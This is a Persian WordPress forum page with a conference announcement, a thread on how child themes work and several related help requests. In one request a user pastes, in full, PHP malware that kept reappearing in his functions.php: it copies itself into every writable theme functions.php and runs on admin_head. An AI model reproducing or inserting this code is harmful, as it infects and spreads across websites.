• اطلاعیه ها

    • Saeed Fard

      حمایت وردپرس پارسی از همایش آینده وب و موبایل   19/04/74

        چهارم و پنجم اسفند ماه 1395، همایش آیندهٔ وب و موبایل ایران با حمایت سازمان فناوری اطلاعات در مرکز همایش‌های شهید قندی برگزار خواهد شد. این همایش یک رویداد ۲ روزه است که در آن پیشتازان صنعت وب و موبایل از تکنولوژی‌های روز دنیا در این حوزه‌ها سخن می‌گویند به طوری که این همایش پنجره‌ای به چشم‌انداز آینده‌ٔ وب و موبایل در جهان، و همچنین راهنمایی برای تصمیم‌گیران، تصمیم‌سازان و متخصصان ایرانی است.   فرصت‌هایی که FOWM#  برای شما خلق خواهد کرد: آشنایی با تکنولوژی‌های آینده‌ساز وب و موبایل شرکت در مباحث چالشی درباره وب و موبایل ارتباط و شبکه‌سازی با “قله‌های وب و موبایل” موقعیت‌های کاری، هم‌تیمی‌های جدید دریافت گواهی شرکت در همایش دو روز به‌یادماندنی سرشار از شگفتی   شرکت‌کنندگان در این همایش ضمن آشنایی با فناوری‌های آینده‌ساز وب و موبایل، شرکت در مباحث چالشی و ارتباط با بزرگان وب و موبایل ایران، می‌توانند موقعیت‌های کاری و هم‌تیمی‌های جدید برای کسب‌وکار خود بیابند. این همایش برای طراحان و توسعه‌دهندگان وب‌سایت و موبایل، مدیران ارشد سازمان‌ها، صاحبان کسب‌وکارهای کوچک و متوسط، دانشجویان و علاقه‌مندان دارای نکات آموزشی و جذاب خواهد بود.   مجید علوی‌زاده، دبیر همایش آیندهٔ وب و موبایل که سابقه اجرای چند همایش و سمینار مرتبط را دارد، اعلام کرد: جمعی از بهترین‌ها و پیشروان این دو حوزه در ایران با ارائه‌های تخصصی خود، چشم‌انداز آینده این صنعت‌ها را به شرکت‌کنندگان عرضه خواهند کرد.   در هر یک از روزهای برگزاری همایش، یک پنل تخصصی در مورد یکی از موضوع‌های مهم این حوزه نیز برگزار خواهد شد و دست‌اندرکاران به بحث و تبادل نظر خواهند پرداخت و در پایان، به شرکت‌کنندگان گواهی حضور در همایش اعطا خواهد شد.   ثبت نام در مهمترین رویداد صنعت وب و موبایل ایران تا پایان بهمن ماه ۹۵ امکان پذیر خواهد بود، برای ثبت نام و یا کسب اطلاعات بیشتر در خصوص این رویداد و آشنایی با موضوعات و سخنرانان به آدرس http://conf.wsschool.org/fowm مراجعه نمایید.   کاربران وردپرس پارسی می‌توانند با استفاده از کد wp-parsi از مبلغ ۴۰ هزار تومان تخفیف در ثبت نام برخوردار شوند.
سعید شعبانی

چند سوال در مورد پوسته بچه وردپرس - Child Theme

2 پست در این موضوع قرار دارد

1- آیا میشه فایل های پی اچ پی قالب رو هم مانند فایل استایل ویرایش کرد. یعنی فایل اصلی رو از پوسته مادر بگیریم و بعد زیر اون کد هایی رو که می خواهیم بازنگری بشند رو بنویسیم؟

2- اگر فایلی که در پوسته مادر هست مثل عکس در پوسته بچه نباشه این فایل از پوسته مادر بارگذاری میشه؟

3- زمانی که پوسته مادر بروز میشه اگر ما مثلا فایل فانکشن پوسته رو کاملا در پوسته بچه ساخته باشیم کد هایی که به فانکشن پوسته مادر اضافه می شوند را می توان به صورت اتوماتیک به پوسته بچه افزود؟

4- با استفاده از پوسته بچه برخی از فایل ها باید از فولدر پوسته مادر بارگزاری شوند و بعضی هم از پوسته بچه حال آیا سرعت بارگزاری پوسته پایین تر می آید؟

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

1-

برای فایل functions چنین امکانی تعریف شده

http://codex.wordpress.org/Child_Themes#Using_functions.php

2-

اگر بارگذاری از روش فایل استایل باشه ؛ فکر نکنم بشه

3-

طبق توضیحات بله

4-

چندان تاثیری نداره

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

  • مطالب مشابه

    • توسط sajjadmp
      سلام 
      من برای دومین بار دست به ساختن پوسته ی فرزند برای یه پوسته شدم ولی این بار مثل دفعه ی قبل نیست . 
      به محض ایجاد فایل functions.php ، کدهای زیر توش قرار میگیره و هر چقدر هم که پاک میکنم دوباره می بینم سر و کلشون پیدا میشه و همین باعث میشه وردپرس صفحه سفید مرگ رو نشون بده ! 
      راهکار چیه ؟؟
      <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); ?>  
    • توسط thismoment
      من برای یک پوسته وردپرسی یک پوسته فرزند ایجاد کردم که در پوسته مادر فایل custom-header.php در مسیر inc/custom-header.php قرار داره
      من میخوام در پوسته ی فرزنداین فایل رو ویرایش کنم ولی متاسفانه بازم فایل پوسته مادر لود میشه
      علتش چیه؟
      پوسته ی فرزند فقط فایل های اصلی تم (index.php category.php page.php , ...) رو پشتیبانی میکنه؟
    • توسط koroush
      با سلام خدمت شما
      یه پوسته فرزند دارم و یه فایل avia-media.css موجود در پوسته والد که می خوام کد های اون رو از طریق پوسته فرزند تغییر بدم
      زمانی که در پوسته والد جستجو می کنم. نام فایل مورد نظر رو جستجو می کنم. به نتایج زیر میرسم.
      wp_enqueue_style( 'avia-media-style' , AviaBuilder::$path['assetsURL'].'css/avia-media.css');
      تا اونجایی که من می دونم فایل css مورد نظر از طریق php فراخوانی شده . که باید برای ایجاد تغییرات فایل تغییر یافته رو بهش معرفی کنم (ازطریق php فراخوانی کنیم ) اما چون از خط بالا سر در نمی یارم نمی دونم باید چیکار کنم.
      ممنون میشم راهنمایی نمایید.
      بااحترام
    • توسط koroush
      با سلام خدمت شما
      در پوسته والد بنده فایلی به نام shortcodes.css واقع در پوشه css موجود است.
      بنده در پوسته فرزند پوشه ی css رو ایجاد کردم و فایلی هم نام با فایل اصلی ایجاد کردم اما زمانی که تغییراتی در فایل css فرزند می دم تغیرات اعمال نمیشه.
      همین مشکل رو بنده با فایل css مربوط به قسمت مدیریتی وردپرس نیز دارم.(admin.css )
      زمانی هم که فایل مورد نظر رو با نرم افزار notepad++ جستجو کردم( برای اینکه بفهمم فایل مورد نظر از کجا فراخوانی میشه) به نتایج زیر رسیدم ممنون میشم در این مورد راهنمایی کنید.
      wp-content\themes\aks2aks\framework\php\avia_shortcodes\preview-shortcode-external.php
      Line 18: $shortcode_css = AVIA_BASE_URL.’css/shortcodes.css';
      wp-content\themes\aks2aks\framework\php\avia_shortcodes\tinymce\dialog.php
      Line 7: $shortcode_css = AVIA_BASE_URL.’css/shortcodes.css';
      wp-content\themes\aks2aks\framework\php\avia_shortcodes\tinymce\js\table-control.js
      Line 74:var style = jQuery(”).prependTo(thickbox),
      wp-content\themes\aks2aks\functions.php
      Line 291: wp_enqueue_style( ‘avia-scs’, $template_url.”/css/shortcodes.css”, array(), ‘2’, ‘all’ );
      پیششاپیش از راهنمایی شما تشکر می کنم.
    • توسط sajjadnajafi
      قابلیت زاد ولد در پوسته های وردپرس یکی از هیجان انگیزترین قابلیت های وردپرس است . که البته مطالب و مقالات کمی در این مورد نگاشته شده و اکثر وردپرسی ها اطلاعات بسیار کمی در این رابطه دارند.
      قابلیت child theme در وردپرس به این صورت است که شما به جای این که تغییرات شخصی سازی پوسته را بر روی پوسته اصلی انجام دهید یک بچه پوسته از پوسته اصلی درون هاست خود ایجاد کرده و سپس فایل هایی را که می خواهید تغییر دهید را درون این پوشه جدید می ریزید و در فایل style.css در بچه قالب به قالب اصلی لینک می کنید.
      حالا این اصلا چه خاصیتی داره که قالب اصلی رو تغییر ندیم!!؟؟ مهمترین خاصیتش اینکه که وقتی قالب رو بروزرسانی می کنید تغییرات شخصی سازی شما از بین نمیره و سایتتون دچار آشفتگی قالب نمیشه!!
      حالا من بچه قالب برای سایتم ساختم اما یک مشکل دارم:
      من از این پلاگین برای ساخت زمینه دلخواه استفاده می کنم:
      http://wordpress.org/extend/plugins/types/
      این پلاگین زمینه دلخواه را به صورت زیبایی زیر کادر نوشتن تازه در وردپرس میاره اما برای قرار دادن زمینه دلخواه در نوشته یک کد به شما میده که باید به صورت دستی در نوشته بگذارید حالا من می خواهم در زیر هر نوشته از سایتم زمینه دلخواه باشه و نمیخواهم برای هر نوشته کد را به صورت دستی زیر نوشته قرار دهم برای مثال کدی که برای زمینه دلخواه من داده به قرار زیره:
      [types field=scriptsite" class="scriptdetails][/types]
      و مورد دیگر این که قالب سایت من از action hook هم پشتیبانی میکنه و هوک های زیادی داره مثلا قبل پست ، بعد پست و.. اما نمیدونم چطوری این کد رو بذارم تا بتونه اطلاعات ورودی برای هر پست رو نشون بده.
      البته اگر قرار بود من قالب اصیمو ویرایش کنم معلوم بود که باید کدو کجا بذارم . اما مشکل اینجاست که من از child theme استفاده میکنم.
      فکر کنم برای نمایش اطلاعات باید یک تابع توی فانکشن child theme خودم بنویسم و نمیدونم تابع رو چطور بنویسم!!
      ممنون میشم راهنماییم کنید
      خیلی برام مهمه